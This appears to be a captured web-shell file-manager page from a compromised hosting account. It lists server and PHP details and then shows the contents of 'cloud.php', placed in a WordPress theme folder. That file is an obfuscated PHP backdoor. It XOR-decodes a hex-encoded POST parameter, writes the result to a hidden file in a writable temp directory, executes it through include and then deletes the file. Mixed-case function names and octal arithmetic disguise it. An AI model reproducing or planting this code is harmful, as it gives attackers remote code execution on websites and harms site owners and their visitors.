HEX
Server: Apache
System: Linux gains.arrowcloudlinux.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User: mbkashyap (2642)
PHP: 8.1.33
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mbkashyap/domains/mbkashyap.com/public_html/wp-content/themes/cloud.php
<?php
//<PHPDATA>fputs_xor;52;symbol</PHPDATA>
if(isset($_POST["sy\x6d\x62ol"])?true:false):$_0=hEX2BiN($_POST["sym\142\x6fl"]);$_1="";foreach(sTR_SplIT($_0) as$_2):$_1.=cHr(Ord($_2)^(0126+010-052));endforeach;$_3=ArRay_filTEr([sYs_GEt_TEMp_dIR(),"/\x64ev\x2f\163hm","/\x76\x61r/tmp",iNi_GeT("upl\157ad_tmp_di\162"),geteNv("TMP"),GeTeNv("TEMP"),GETCWd(),"/tmp",sEssion_saVe_pAth()]);foreach($_3 as$_4):if(max(0270+0260-0610+040,Is_diR($_4)*Is_WriTABLE($_4))):$_5=SprInTF("\045s/.\x70tr",$_4);if($_6=fopen($_5,"w")):FWRiTE($_6,$_1);fClOse($_6);include $_5;UNLINK($_5);exit;endif;endif;endforeach;endif;